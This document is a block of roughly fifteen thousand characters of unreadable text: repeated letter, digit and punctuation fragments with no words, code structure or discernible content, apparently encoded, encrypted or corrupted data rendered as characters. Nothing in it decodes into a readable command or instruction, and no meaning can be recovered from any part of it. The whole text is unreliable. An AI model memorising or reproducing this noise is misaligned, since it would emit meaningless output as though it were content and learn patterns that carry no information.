ZeR;hWa	S oVSjHE_p[ck 53XUjWR	Uh]KQRdQ5	ZZA35Wg	iOVSl230_3[UR 9RXU3W RUj]eQbRQx	9Zek@W`	k>3VSn'E 2_l[`P YXUTW.RU7]eQd RfQZ	:ZaR?TWU	AuVSnv0U`_p[O6 =AXUnWRUj]jQe3RfQZ	$ZM@fJW`	:kVS38y0W_3[LO 21XU7WR2UN]eQRQt	?ZU_?IWT	RcsVSl?41l_s[Pi RXdU7WR U5]eQ=3RfQg	cZU_?IWT	RcsVSl?4E`_s[U5 YXUPW-RUA]4QdRQx	9Zek@W`	k>3VSm#2V_5[NP OXgUjW RUk]CQ7RQF	'ZZOTW`	7csVS3?JE-_o[dk F6X:UnW`R	Uk]yQdRQA	cZOPIWW	6:sVSmS7D_q[[O R6XfU3W RUR]aQ=3RfQg	cZVPFWO	@>VVSWbt32_i[SO HXUTW.R	Uh]OQ6R:Qd	ZZ@4Wa	7kVSF0y 3_3[P7 5nX9UjWRUA]CQaRQR	&ZeO?hWc	62kVSD4U!_Q[dP azXeU@W`RU4]<Q<1R8QB	ZTR;IWg	BuV6SDS7G_4[dR 5lXUPWRUA]CQaRQR	&ZeO?hWc	62kVSD4U!_Q[dP azXeU@W`RU4]<Q<1R8QB	%ZQl?HW[	6&VVSGb57G_w[e5 RXUjW8RU@]eQ'0RQg	+Zb@FWO	@>VVSWbt32_i[SO HXUTW`R U7][Q"0RQZ	
ZePFWO	@>VVSWbt32_i[SO HXUTW.R	Uh]OQ6R:Qd	ZZ@4Wa	7kVSF?J13_C[WP @XUnWRUQ]8Q"3RfQR	?ZRONWO	@}VSnJ6n1_@[[@ 27XfUHW8RU@]eQ R>QJ	 ZbB34W`	o2]VSV5E`_\[eO 26XfUjW:RUj]CQ0RQh	eZal?TWQ	R>3V3S0D7E!_l[`P a{XUHW&R2UB]_QRQI	$ZSA;GWW	]>VVSl0v6m_v[UP RXUrW8R	Uj]eQbRQZ	$ZTP#jWg	n2@VSmo4V_\[eO HXgUvWRUA]8Qc7RQY	bZbB<}WM	SuV3SG#O30_G[S@ 5LXdU7WR U5]eQ=3RfQg	cZU_jWO	POVSj;t30`_@[[O 90X?UTW`R U7]eQ6R?QZ	ZT535WU	M:MVSnO32=_C[WR 9NXgUvWRUB]OQRQF	&Zbjg|WU	M2uV6SED0`_s[eR OXU@WR0U@]DQg7R9QZ	gZc63_W`	4@VS0B X_i[O6 =AXUnWRUj]eQ3RdQt	gZb@f6W`	7:iVSmn0 k!_@[Pl tX>UTWRUQ]4QfRQI	$ZSAGW`	hcsVSl?232=_C[SO HXUTW8R1U@]DQg RQx	
Zc63_W`	5kVSm7E_p[dO 9n1X9U3W.R7UA]GQRQA	cZOPTWg	M_V SWnB k!_@[Pl RX UbWRUP]KQcRQ5	
ZSj#IWg	B.sV3S2nq0`_s[eR OXULW<R0U@]DQg RQl	%ZdPFWO	@>VVSWbt0T_\[e5 %lXUTW-R Ul]OQ7RQZ	fZbA3hWU	A5V6SDrU_r[RA A6X9U3W RUj]eQd3RfQh	ZRONWO	@}VSnJ6n1_@[[@ 27XfUHW8RU@]eQ1RgQR	ZVPFWO	@>VVSWbt0T_\[e5 %lXUTW-R Ul]OQ1RfQZ	$ZSi6WP	BnV3SXkV_\[Rl zX9U~WR7UQ]9QdRQF	ZeAJWU	@&uVS3?r0X1_s[`P 5LXdULW R2UN]}Q&RQB	ZaO?6WS	n3VS2q0T_0[X5 %lXUPW<RUl]OQRQF	&Zbjg|WU	M2uV6SED1k:_r[SO n7XUvWfR7U6]_Q<RQV	)ZY5IWg	o}V3SFr 3_@[cl 537XU?W&RUk]8QRQx	9Zek@W`	k>3VSn't13_l[Rj RXUjW8R U7]CQb0R QJ	9ZU_0W`	R~VSGnBV_p[O6 =AXUnWRUj]eQ3RdQt	gZb@f6W`	7:iVSlB0W=_3[`l 9RX ULW`R7U6]GQ RQB	%ZVPFWO	@>VVSWbt0T_\[e5 %lXUTW-R Ul]OQ1RfQZ	$ZSi6WP	BMV3SXkV9_s[SB 9NXgUvWRUA]8Qc7RQZ	eZbi5W[	n&kVSD4U!_Q[dP azXeU@W`RU4]<Q<1R8QB	%ZQjTW`	o2]VSV5E`_\[Rj %O1XU~W R7U4]4Q'RdQ5	ZQjfjWg	h&NVSE;n7H1_F[SB MXUTWRUA]CQaRQR	&ZeO?hWg	hc}V3SGJV_5[NP OXgUjW RUk]CQ7RQF	'ZZOTW`	7cMVSn;W131_s[U5 52XeU\WR	Uj]eQ R.QJ	!ZdO|W[	okVSGc2U_W[dA LXUDWfR	Uk]uQRQA	$ZK5hWM	RuV4SD;V33_w[UP %DXUTW:RUk]4Q" RgQR	:ZM7|WM	]uVSH'rV9_o[dk F6X:UnW`R	Uh]}Q"1RgQR	:ZSjTWL	A:kVSF?q0W2_}[c@ @XUnWRUP]KQcRQ5	
ZMOhW`	@gkVSDsW_3[LO 3X?UHW&R	Uk]uQd3RQE	$ZR@3JW`	7csVSl?232=_C[O6 =AXUnWRUR]OQRQF	Ze@#nW[	h:sVS1?W z_5[S@ %36XUHW&RUm]_QRQt	9Zek@W`	k>3VSl?4W_}[S@ R6XdUTW:RUj]CQ RdQZ	ZY74|WU	B.NVSHj1l_s[cl =n1XUPW.R7U4]4QRgQV	ZbjfBWU	M:}VSmJE-_o[dk F6X:UnW`R	Uh]bQ 1RgQR	 ZbiBWX	PiVSlW 0_Q[X7 2zXU~WRUN]CQ<1R8QB	%Zbl;hWg	S }V3S2nQ3_Q[Rl =O1XUHWRUj]eQ1RgQV	&ZN6;GWW	]>VVSn?rU!_l[e7 526XfU3W&R	Uh]LQ 0RQ5	%ZaPTWU	@&MVS3?k32_v[e5 RXUTW`R U7]eQ6R?QZ	ZROHWL	@uV6SD;1 j_3[LO 3X?UHW&R	Uk]uQdRQA	cZROhWa	@&5V3S0jX_[X5 O1X8UPWR7UA]GQ 3RgQV	Zbl;hWg	S }V3S2nQ3_Q[Rl =O1XUHWRUj]eQ1RgQV	&ZVPTWL	@}VSnJ6n1_@[[B =27XfUHW8R U5]}QRgQR	:ZVj#4WP	BcMVSn;W131_s[U5 52XdUvWR U5]eQ= R>QJ	
ZV_4W`	i kVSD512_r[Ri 0XUTW=R7U^]CQ=RQt	eZMO5WW	h.OV3SUt0T_\[e7 5nXUPW.R7UQ]8QRQA	cZROhWa	@&5V3S0jn_[X5 O1X>UDW.R7U@]GQ$ RgQV	Zbj#hWa	AsVSmbWV_5[S@ pX>UTWRUP]CQ-ReQl	%ZQjNW[	6&VVSG 4U_S[NQ =AXUvWR7UR]eQ RQF	<Zbi<wWV	o2PVS3h2_7[dj !s5XU\W!RUl]OQ3RfQR	:ZaPgWU	C OVSjD1z_r[X5 %OX?U?W.R U7]eQb0RQR	 ZbB?TWU	AsV6SH?k30`_F[SO 9n5XdULW:RUA]4QRQt	9Zek@W`	hcMVSn0 2_l[cl =lXULW8RUR]OQRQ5	
ZTl }W`	5nV4SXPH_P[SB dV6XUTWR
Uh]aQcRQF	
ZT@TWU	AsV6SH?k30-_U[b7 52X UbWRUP]KQc7RQt	
ZePf5WW	h.uVS2Q11_s[`P 5L6XgUPWRU^]eQ RQJ	
Zc@rWU	CEV5SlvV_\[L@ `l1XUHW&RUk]4Q R9QY	cZdPFWO	@>]VSV57G_w[W_ h1X>UDW&R7UA]uQ$ RfQZ	ZORHW[	6&VVSDHE`_\[eO lX9UHW&R U6][QRdQ5	ZUl?TWg	@.HV4ST;FX_w[dA 9VX:U@WR7U7]CQ:RQ4	fZejTWU	AsV6SH?k30`_i[WP @XUnWRUm]aQ6R9Qh	 Zb@TWP	BcuV3SG/r 2_G[S@ 5LXdU?WRUh]}Q RgQA	fZd@#BWU	@&5V4SD;412_1[dQ 5LXU3W&R7UA]uQ$ RfQZ	
ZTR?JW`	n_VSjHE_v[WP %26XeU@W8RUj]eQg6R?QZ	gZTR;hWc	4 uV6SFtE`_Q[O6 =AXUnWRUQ]8Q"RQZ	$ZdR3hW[	hcMV6SDBV_5[NP RXUHWR	Ul]_QfRQI	$ZSAGW`	A:kVSmk1z_P[SA 5@XUnWRUQ]8Qc7RQZ	!ZV_nWg	ouV3SG/r 2_G[NR YXgUvWRUA]8QcRdQE	$ZSAGW`	hcMVSn0 2_l[cl =lXULW8RUB]\QbRQB	?ZR@TW`	7cuV3SG/r 2_\[S6 936XU~WR	Uj]eQRQB	
ZdOjW[	huV4SEnT0_Q[cB LX UbWRUP]KQcRQh	 Zd@TWP	M:uV6SDBU!_p[T_ 9n5XeUPW&R2U@]GQ"3RQd	gZcP#jWc	6:MV6SFvW"_r[WR 9LX.UbWRUP]KQcRQF	&Zbl;hWa	M OVSmtW2_}[Pj RXUjW8RUA][QRQF	:ZZllW[	n nVSGnj7G_w[WP %lX9U3W;RU@]eQ$3RgQR	$ZMR3IWU	@:3V3S22U_W[dA DXUvWRUA]8Qc6R9Qh	'ZRB?TWU	M5V6SGk33_o[[B )hX9UHWRUC]aQRQB	+ZOPTWg	B"^VSk0E`_Q[O6 =AXUnWRUQ]8Q"RQZ	$ZdR3hW[	hcMV6SDBV_5[NP RXUTWR1Ul]aQRQE	bZYl/}WS	k oVSjHE_v[NQ =AXUnWR2UA]uQgRQB	Zbj#5W`	B.OVSl?I7D_l[OB =O1XUjW`RUR]OQRQw	$ZR@4WX	S kVS27E_p[dA LXUDW R2UN]eQ=3RfQh	
ZMR3BW`	5~VSjDX_s[cj %36XU~WR	Uj]eQRQZ	fZMO5Wa	@:kVSm7E_p[dB AXUnWRUl]OQaRQR	 ZdO4WP	BcuV3SG/r 2_\[UR 9NXgUvWRUB]OQRQ5	
Zaj#BW`	@gkV STD10`_@[eQ  t1XUbW=R7U7]CQ.RQJ	 ZT@}Wc	5cJVSDD7E!_\[dP `3X9U~W8R7UQ]9QdRQF	ZeB<|Wg	S OVSlDF_\[`j %D6X?UTW:RUj]CQRdQZ	eZUl3rWM	]uVSl?J6n_0[d_ h1XUjWRUm]_Q"6R>QJ	:ZN_6W`	i kVS27E_p[dO 9n XfUjW R2UB]KQ$RdQ5	
Zaj#BW`	@23VSEnr2_0[`P `lXU~W`RUR]LQdRQF	ZeAjW`	MkVSEt6j_4[dR 5lXUTW8RUB]OQRQx	ZTlbPWO	SRV5SGb0V_q[e@ RXUvW&RUk]uQ7RQA	bZVl3vWM	QOV3SG/RW=_P[[B L6X.UjW:RUk]4QRQ5	ZN6;GWW	]>VVSWbt6j_4[dR 5lXUjW8R1UA]GQ?R9QJ	$ZYk?BWS	hc5VSj4 2=_P[eP @XUnWRUQ]zQbRQF	ZeAjW`	MNVSHW1z_0[d_ h1XUjWRUm]_Q"6R9Qg	bZbj#BWg	P23VSknq0W2_}[cB L6X8UPW8R U4]CQaRQR	&ZeAJWU	C OV3SF?r3_o[ci zXUjWR2UA]GQRQk	$ZR@fBWg	M2sVSmbSE-_o[dk F6X:UnWRUR]OQRQF	&ZbijWL	RcuVSn;I7G_U[`P `lXU~WR
Um]4QRQk	$ZRO?hWV	7._VSmjT_0[X7 =lXUjWRUl][Qb RfQh	ZZBHW[	6&VVSG 4U_W[d@ %hXU@W`R	Um]4Q$RdQZ	ZVPFWO	@>]VSV5T_0[WR 5nXU@WR	Uk]uQRQB	Zbi|WL	]:OV6SFkV_\[Rl 2zX>U@WR2UB][QRQ5	%ZOP}WW	7.sV6SH'SF_\[WR 53XU~WRUA]8QRQt	9Zek@W`	k>3VS1?40X_V[c@ %OX?U?W.RUA]4Q'RdQ5	%Zd_rWW	h:kVSm7E_p[dO 9n1X8U\WR	Ul][Qb RfQh	:ZTP3jW`	@o}VSlV32_P[T_ 9n1X8U\WR U4]GQ RfQR	ZY54WS	k NVSG7E_r[RA A6XUPW&R7UQ]4Q7RQZ	ZaPfjWO	R.kV ST4V_1[PQ v6XUvWR
Uh]eQ%RQV	&ZRA3FWO	@>VVSWb57E!_\[dP `3X9U~W&R U4]GQ1ReQB	%ZaP3JW`	6 kVSGnDH_1[dB )V7XU3W;RUj]CQ.RQJ	&ZRB?TWU	@&OVSlq0W2_}[cO 06X:UPW<RUl]OQRQF	 ZOPhW[	h}VSlD0_r[RA A6X:UnWfR2UA]<QRQt	eZMPfnWg	o}V3SUt6j_4[dR 5lXUHWRUC]DQ.RQ5	%ZOP3JW`	6 nVSD5G_l[b@ 26X?UTWRUl]OQRQF	&ZeAJWU	B&OV3SHQ30"_}[UR =l1XU7WR U4][Q7RQZ	ZaPfjWO	R.~V SXWU_r[RA A6X:UnWRUR]OQRQF	&ZeO?IWU	M:sV3SFr30!_l[U4 R6XfUjW:RUk]4QfRQB	%ZRBcrW[	h"kVSF?p 3_r[U5 %L6XeU@W`R	Uh]}Q  RfQY	bZeR3jW[	ngNVSm2U_W[dA DXUvWRUA]zQbRQF	Zek@W`	hcMVSn0 2_l[cl =lXULW8RUB]\QbRQB	gZc734W`	o2@VSj{ 3_i[O6 =AXUnWfR2UA]<QRQB	
ZdOTW`	n_VSjHE_v[eB :y1XUPWR	Uj]_Q7RQZ	!ZQiTWU	AsV6SH?k32=_\[LR 5D6XeUPW<RUl]OQRQY	$ZR@#jWW	nguVSl2U_W[dA lX?UvWfR	Ul]eQ7RQt	
ZePf5WW	h.uVS2Q119_o[dk F6XUjWRUP]KQaRQR	&Zbi5WM	Q}V3S2o4U!_}[TP p1X:UDWR0UQ]GQR8QB	%ZWj}Wc	5cJVSDD7E!_\[dP `3X9U~W8R7UQ]9QdRQF	ZeO?hWL	QOV6SG#W32=_V[ci 06X.UjW8R	Ul]HQf1R.QN	$ZY7|WL	QOVSj;16m=_l[X5 %OXU@W`R U5]eQ R QN	ZVPFWO	@>VVSk;S6m=_V[c@ RXU3W.R7UB]fQ-RQk	$ZRB3BW`	@g}V6SFE33_l[L@ az1XUHW RUh]eQd0RQZ	&ZU_?IWg	CMVS0WE`_Q[O6 =AXUnWRUj]jQ 0RQh	gZY5#jWU	AOVSmnD0`_s[eR dVXU~WR
Uh]eQRQF	 ZYP}WM	@3VS1?40X_V[c@ t5XeUHWR0UA]GQ RQd	ZdPFWO	@>]VSV5E`_\[eO lX9UHW&R	Uh]}Q RQg	bZM@#BWX	Q:~VSH2U_W[dA LXUTWfRUh]eQRQZ	!ZVP#jWW	hciVSH2U_W[dA DXU@WfR2U@]GQ$RQB	Zal?6WU	M5V6SGk32_3[Wl =lX UDW&RUk]XQc7RQY	bZMR3jWc	4 uV6SFt131_p[SA 5@XUnWRUQ]8Qc6R9Qh	'ZRB?TWa	RcuV3SG/21z_\[eO lX9UHW&RUA]8QRdQI	$ZSAGW`	k>VVSl0v0W=_1[X5 %lXU@WRUk]4Q'RdQ5	?ZY5TWX	Q2]VSV5E_v[NP nX9UHW.RUj]_QRdQI	$ZSAGW`	k>VVSl?16k_1[UR =n5XeUPW&R2U@]GQ"RdQx	%ZN6;GWW	]>VVSW 4U_W[dk F6X:UnWR2UA]uQgRQB	Ze_BWg	nguVSkS7E!_1[Wl :{XfU3W&R7UA]uQ$ RfQZ	
ZSl4W[	h:MVSm2 k`_p[WP OXgUvWRUA]8QcRQF	&Zbl;hWa	M OVSmtW2_}[Pj RXUjW8RUN]eQ?R8QR	 ZRPNW[	6&VVSGb5E_r[S@ %lX?U7W&RUj]@QdRQF	ZeAGW`	k>3VS1?40X_V[c@ %OX?U?W.RUA]4Q'RdQ5	%Zd_?6WX	R:OVSm/O12=_V[P5 %D1X?UvW RUj]CQ$ R>QN	eZMO5W`	B:uV3S0t13_0[L5 90XUTWfR2UA]GQ=3RfQZ	eZVl;jWL	QuVSn?KEa_5[e_ 90X UbWRUP]KQcRQF	 ZOQ;GWW	]>VVSj7E_r[RA A6X9U3WR	Uh]OQf RfQZ	:Zbl;jWO	PkVSD4V_i[WP {X9UjW8R Uk]CQaRQQ	$ZSAGW`	C uV3SWnS7G_w[Pl 9LX.UbWRUP]KQcRQF	 ZdB<Wg	C MVSlS7G_w[Pi RXUDW R2UN]eQ=3RfQh	
ZMR3BW`	4 oVSjHE_v[NP nX9UHW.RUj]_QRdQI	$ZSAGW`	k>uV6SH'S 31_s[cl =n7XUPWR	Uk]GQ"RQg	+ZQjFWO	@>VVSW 4U_W[dB AXUnWR2UA]yQdRQB	
Zd74WQ	PgNVSG7E_v[WP %26XeU@W`R	Uk]yQRQ5	ZN6;GWW	]>VV6SG${13_v[L@ %LXU3W&R	UA]4Q=RQx	 ZaP4W`	o2]VSV50`_Q[cB 5O1X9U~W8R U4]CQaRQR	&Ze@#jWg	iOV3S2n0 m_5[eP @XUnWRUl]OQaRQQ	$Zek@WO	@>uVSGq0T_\[WR 2zXUTWR2U@]_Q7RQt	eZMO4W`	A2]VSV513_l[LB =D1XUjW8R U4]GQd RfQZ	:ZaPg|WM	RcuVSkt1z_\[e7 9NXgUvWR	UB]OQaRQQ	$ZS@#nW[	h:sVS1?W z_5[SO RXU3W.RU7]eQdRQZ	9Zek@W`	B.sVSn;VV_\[UR =OXUjW8R1U@]GQ'RQp	9ZeknWO	M&VVSDH32_l[`P ayXUPWRUl]_QRQZ	gZUP#jWa	BcNVSGbD0_r[RA D6XeU@W`RUP]DQ 0RQh	gZY5#JWW	5V6SF0v6l>_r[eR N6XdULW`RUk][Q0RQQ	fZd5#hW[	k2iVSmBX_Q[Rj %lX9UHW.R	Uh]OQ"3RfQZ	 ZaP#KWO	M 1VSGD0T_l[X7 5O1X?ULW R2UN]}Q RgQR	)ZOPNW`	6 iV3SXWU_r[RB AXUnWRUP][QgRQg	bZSl;hW`	COV3SVv0X_w[Wl 2yXU@WRUk]CQaRQR	 ZQl?TWa	>~VS1?40X_V[c@ 527XeUPW<RUl]OQRdQE	$ZSA;GWT	]MV6SDJW_v[Wl 52XdU?W R2UC]4Q$6R9QZ	 Zbj#JWP	BcOV3SHQ30`_F[cl =37XUHWR2U@]\Qb7RQd	)ZVQ3FWO	@>VVSmnSU%_V[WR 5hX.U@WRU@]CQ3ReQk	+Zc54WU	B:sV6SDr l_i[SB =O6XULW&RUB]KQ-RQR	fZVP#hWU	B.OV5SE0W_4[dR 5lXUjWRUA][Q" RgQR	$ZT5#lWS	k kVS2#4 0!_l[c@ 5jX:UPW`R U4]yQb RdQt	:ZbBTWX	P~VST0E-_o[dk hXUvWRUB]OQ3RfQR	:ZaPgWU	C OVSjD 2=_r[`j %l6XUjW.R U4]DQ RQB	
Ze_5Wa	5iVSl412_1[dQ 5LXUPWRUk]CQaRQR	&ZbjfBWg	BhV3S0;O6k_S[cO 6{XUTW:RUj]CQ1R.QN	eZbB;TWP	BcsVSn?j3H1_O[U_ DXU~W`RUR]OQRQB	'Zd@TWg	S OVSEW7G_r[e5 "{XfUTW.RUk]zQe3RdQ5	ZSP_WL	@AVSGowV_1[U_ DXU~W:R
Um]GQf7RQZ	$Zd5$}WV	5g5VSlr m_F[eP 26X.U\W8RUN]eQ6R?QZ	Zb@3lWS	k AVSGnB l_i[eP @XUnWRUj]eQb1RgQR	ZR40|W[	oMVS3?47D_r[S@ 5LXeUPW.RU5]}Q$RQB	ZbjfBWg	BhV3S0;r0!_\[e5 `LXUjWRUk]5Q!RQB	
Ze_5WQ	P23VSm1U!_1[d_ 6{XUTW<R7UQ]4Q<7RQ1	9Zek@W`	k:5VSn'O30_G[T_ 9n7XUbW&RUQ]CQ<RQt	 ZQj#JWQ	P:NVSmn17H_s[cj `D1XUTW;R7U6]fQ RdQZ	ZbO0}WO	@iVSmnjW_l[OB =R7X.UbWRUP]KQc7RQZ	$Zd5$}W[	7MVSm v 2_P[[B L6X.UjW8R	Uk]uQ1R.QJ	:ZMB?TWU	M:}V3SE;I7D_\[WR =nX9U~W`RUR]OQRQk	gZRO?hWa	M2uVSWjW_v[LB 5nXUTWRUl]_Q<RfQZ	gZd5TWM	F"3V3S2o3V_[[@ @XUnWRUj]eQb1RgQR	ZR40|Wg	hsVSn'O7D_r[S@ 5LXeUPW.RU5]}Q$RQB	ZbjfBWg	BhV3S0;J 2_r[U_ 0XUjWRUk]5Q!RQB	
Ze_5WQ	P23VSn'k0U_3[U_ 6{XUTW<R7UQ]4Q<6R9Qg	bZQl;BWS	RoVSjHG=_v[e@ R1XUPW.RU5]}Q$RQB	ZbjfBWg	BhV3S0;q30_O[X4 lXU~W`RUR]OQRQ5	ZN6;GWW	]>VVSmnSU%_V[Pj 52XUjW.R7UC]aQRQZ	 ZMB3hW[	n:iVSm/q10!_l[L@ n1X9UHW RUh]}QRfQJ	Zd_?hWa	M2uVSUnJ 2_r[U_ {XUHW8R7UP]CQ'0RQg	+Zb@3lWS	k 3VSn23z_U[`P `lXU~WR
Um]GQfRQZ	 Zbj3lWS	k 3VSn23z_U[`P `lXU~WR
Um]GQfRQt	!ZeR3IW[	h.iVSk07G_r[e5 "{ X.ULW R2U@]DQ/3RfQI	+Zc54WW	_VSlr2_F[e_ 9n7XUbW&RUS]5Q RdQZ	ZbBlWS	k kVSF?413_O[S4 z6XU\W&R
Ul]OQ7RQZ	$Zd5$}WV	7._VS1?20W_r[SO MXUnW-RU4]5Q%RQV	&ZN6;GWW	]>CVSlr 0!_3[c@ OXgUvWRUA]8Qc1ReQB	Zd_?hWa	M2uVSUov6k_\[X5 %jXUnWfR2UB][QRQZ	ZR@g|WW	k:}VS04 l_i[cj `D1XUTW;RUh]}Q=0RQZ	eZTRlWS	k kVSj4 2=_P[NR RXU3W RUh]eQ<3RQI	bZeR3jW[	n:@VSGD6m=_G[NR RXU3W RUh]eQ<3RQI	bZeR3jW[	n:@VSGDX_r[X7 =lXUjWRUA][Q"0RQZ	gZZ@0Wc	6:OVS2r m_F[eP OXUPW.R	Uj]\Qb R8QB	?ZbjfBWg	BhVS10012_l[RR RXUTW`R	Uh]OQd3R.QF	ZT_BWT	R.@VSmnt0U_1[[@ 6zX>UTWR U5]eQb R?Q5	%ZVj34WX	S oVSjHE_r[dk hXUvWRUB]OQ3RfQR	:ZaPgWU	C OVSjD 2=_r[`j %D1X9U~WR	Uk]GQRQB	ZbjfBWg	BkV STD0U_1[e5 `D6X8U@WRUk]zQdRQF	ZeO?hWM	R:sVSn;4 3_O[c@ 5L7XfUTW<RUl]OQRQh	 Zd@TWg	S }VS3'rV_@[cj `D1XUTW;R7U6]aQ  RgQR	eZUPfjWL	RuVSk;KE`_p[SA 5@XUnWRUQ]8Q" R.QI	bZSihWa	B:uVSlD0`_s[[B 2zXUvWfR	Uh]OQ'3R.QJ	ZOP4Wa	7:3VSn23z_o[[B 2zXUvWfR	Uh]OQ'3R.QJ	ZZBJWL	BkV3SX2U_W[dB AXUnWRUj]eQb1RgQR	ZR40WU	C MVSlr7D_r[S@ 5L6XfU3W RUh]eQ<3RQd	ZMOBWU	BuVSk;KV>_1[SO 9n7XUbW&RUQ]CQ<RQZ	 ZMB3hWT	B@VSmo3V_[[@ @XUnWR2UA]uQgRQB	fZV_Wg	h.MVSEt0U_1[[@ 90XUjW&RUm]aQ=6R9Qg	bZbO0}WO	C NVSlBF_[NO YXUTWRUA]CQaRQR	 ZQl?TWX	RcsVSn?j3D_\[WR =nX9U~WRUk]5Qc1R.QJ	:ZY5#jWg	okVSn'k0U_3[UP 5jX:UPWfR2UB][QRQZ	
Zc54WW	4 uV ST{X_\[d_ 3XUbWR7UN]OQ3RfQI	+Zc54WW	7:sV6SDr2_F[e_ 9n7XUbW&RUS]4Q'0RQg	+ZbBlWS	k kVSF?V 3_3[TP `lXUTW&RUB]_QfRQx	9Zek@W`	k>5V6SGfDG_v[UR z7XUbW.R7UN]LQfRQB	
Ze_5WQ	P23VSj;BW_v[Wl 52XUjWRUk]8QRdQI	$ZSAGW`	k>uV3SD;232=_r[Ri R6XeU@W`R	Uh]OQd3R.QF	9ZZB4WW	5V6SD;q7D_r[S@ `DXUTW`R	Um]4Q$RdQw	$ZK4?IWc	6:OVS2rE`_Q[O6 =AXUnWRUQ]8Qc6R9Qh	'ZRB?TWU	M:}V3SE;I7D_3[cB 5nX?UvWR	Uk]GQ"7RQE	$ZOP3JWU	B&uVSmbWU!_o[dk F6X:UnWRUQ]8Qc1ReQB	ZdP3hWM	PMVSm/V 3_Q[Lj `lX>U@W&RUB]KQ-RQV	
Zaj#BW`	MkV3SVO32=_V[c@ ayXU~W&RUR]_Q"RQR	$ZY7;jWT	A>~VSj;BW_v[Wl 5HXUPWRUA]CQaRQR	&ZeAGW`	A:kVSmk1z_P[SA 5@XUnWRUQ]8QcRQF	 ZQl?TWX	Q>OVS1v6m2_0[`P O5XgUjWR U4]GQ$RfQJ	Zd_?hWV	7._VSk03_\[Lj `lX>U@W&RUC]GQ  R.QN	ZMOjWM	R:iV3SWWU_r[RA A6X:UnWRUl]OQaRQR	&ZeABWO	M&VVSGb50_r[RA D6XeU@W8R Um]GQ 1R.QJ	:ZY5#jWg	oiV3SWWU_r[RA l6XUTW8RUC]_Q"0RQZ	gZZ@?6WQ	R:uVSk;k6m2_4[cO 6{XUPW8R U4]4Q7RQ1	ZVi_WL	BNVSG7G_r[dk 35X.U@WR7UN]bQ 6R9Qg	fZaPhWc	4}V3SDS32=_r[cl 9RXUjW.R7UN]CQRdQ5	Ze_nWg	M:_VSkWE`_Q[O6 =AXUnW8R2UA]uQ1R.QJ	:ZMB?TWU	M:}V3SE;I7D_}[cB =n1XU\W&RUC]aQRQ5	%ZdO?4W`	7csVSn?j3H1_O[U5 %DXU@WRUm]KQ< R?Q5	%ZOPTWQ	POVS38v7Ed_o[dk F6X:UjWfRUh]}Q3RdQZ	ZU_?hWa	M2uVSWj0W=_3[LO lXUjW`RUR]OQRQB	'Zd@TWU	M:}V3SE;I7D_r[Rl =n6XU\WR7US]aQRQk	$ZRB?TWU	@RVSGNm`_l[Uj 90XU@WR0U@]CQRQB	:ZRQ?4WQ	P:kV ST?D7H_0[UA 9j1XUnWR
Uh]eQ7RQF	ZZQrWM	P.^VSFl7D_r[S@ 26XfU3WRU^]}Q RQx	!ZcAvW[	7RVSH'Nm_Q[WB tXUHWRU@]_Q< R?Q5	&ZN6;GWW	]>3VSn23z_o[[B =n7XUbW&RUk]DQ 7RQE	$ZR@3JWW	4 }VS3'rV_@[cj `D1XUTW;R7U6]fQ 0RQZ	gZZ@#BWS	R@VSmbD31_s[eR =n7XUbW&RUk]DQ RfQJ	Zd_?hWa	M2uVSUov0U_1[[@ %DXUjWRUA][QfRQl	ZRO?6Wa	2]VSV5W=_v[U_ zX>UDWRU@]eQb1RgQR	ZR40|WL	]:OV6SFj k`_p[SO 926XUTW`R	Uh]OQd3R.QF	9ZZB35Wa	@ouVSk;KV>_r[SO 6z5XeU\W.R7UB]OQ7RQ1	9Zek@W`	@NVSG533_0[e7 5LXfUjW R2UB]KQ$RfQJ	Zd_?hWa	M2uVSUnq0W2_}[cB jX:UPW8R	Uk]uQ"RfQJ	Zd_?hWa	M2uVSUnq0W2_}[cB jX:UPW8R	Uh]OQRQZ	 ZVl3NWO	]kV3SV?413_O[S5 `l1X>UDWfR2UB]aQ' R9QJ	ZdPhWO	R.MVSn;V31>_}[b5 2XUjW.R7UC]aQ RfQh	:ZMOhWM	Rc@VSk0V_\[d_ 3XUbWR	Uh]OQd3R.QJ	:ZMBHWL	M NVSG7E_v[WP %26XeU@WfRUh]}Q3RdQZ	ZU_?hWa	M2uVSWjW_v[LB 5nXUTWRUk]8QRQt	9Zek@W`	k>}VSEj2_@[e5 527XfUjW`R	Uh]OQd3R.QF	9ZZB;hW`	AOVSlj ka_5[[@ R5XgUbW RUh]LQ/ RdQ1	9ZOO|WP	M2iV3SXWU_r[RA DXUvWR	UB]OQaRQR	&Zek5Wc	OV3SH8v6m2_0[`P nXUjWfRUk]DQ 3RdQZ	fZMB?TWU	M:}V3SHD0`_Q[d_ h1XUjWRUm]_QRQZ	9Zek@W`	k:5VSn'O30_G[T_ 9n7XUbW&RUQ]CQ<0R QI	fZY46WQ	P:NVSmn17H_s[cj `D1XUTW;R7U6]aQ R.QJ	 ZT_0}WO	@iVSmnR V9_s[O6 =AXUnW8R2UA]uQ1R.QJ	:ZMB?TWU	M:}V3SE;I7D_1[Wl :yXUTWRUk]8Q7RQV	'ZRO?hWa	M2uVSWj13_0[L4 0XUjW8RUR]OQ RQp	ZN6;GWW	]>kV6SG/O1z_l[LB 9RXUjW.R7UC]aQ7RQJ	:ZNB;IWg	M:3VSTWV_q[e@ RXUjW.R7UC]aQ7RQJ	:ZNB;IWg	M:3VST47H1_[O6 =AXUnW`R	Uh]OQd3R.QF	9ZZB;hW`	AOVSlj k`_s[NP n6XU7W.RUk]DQ RQB	
Ze_5WQ	P23VS1?WW_V[cO 6{XUPW8RUR]eQ7RQZ	$Zd5$}W[	7MVSm v 2_P[[B LXUTW:R	Uh]eQdRQA	gZK4?6W`	kVSHjU_r[RA D6XeU@W`RUP]GQRgQV	)ZRO4WU	M:}V3SE;I7D_\[WR =nX9U~W`RUR]OQ1R:QV	%ZZ@3IWU	B._VS1?413_l[dP n1X9UHW RUh]}QRdQ5	gZe_5W[	k:kV3SVW31>_r[e_ 906XfUjW`R	Uh]OQd3R.QF	9ZZB35Wa	@ouVSk;KV_5[SO 90XUTWR7UN]OQ3RdQw	$Zd_?6W`	7:kVSF?413_O[S4 6zXUjWR2U@]_Q< R?Q5	%ZaPTWa	6 kVSn'V 0!_C[NP 27XdUTW-R7UP]eQb1RgQR	ZR40|Wg	iOVS0j k`_s[`_ 90XUTW.R7UB]fQ-1RdQ0	$Zd_?6W`	7:3VSn23z_o[[O 3X UHW.R7U6]aQRQA	cZZ@4Wa	5~V3SWnt0U_1[[@ 90XU~WR U7]eQd0RQ5	ZSPTWL	BiV3SXD1n_s[cj `D1XUTW;R7U6]fQ.0RQh	 ZMP#JWQ	P:~V3SWnj1_0[L@ %D1X UDW RUh]eQ$0RQw	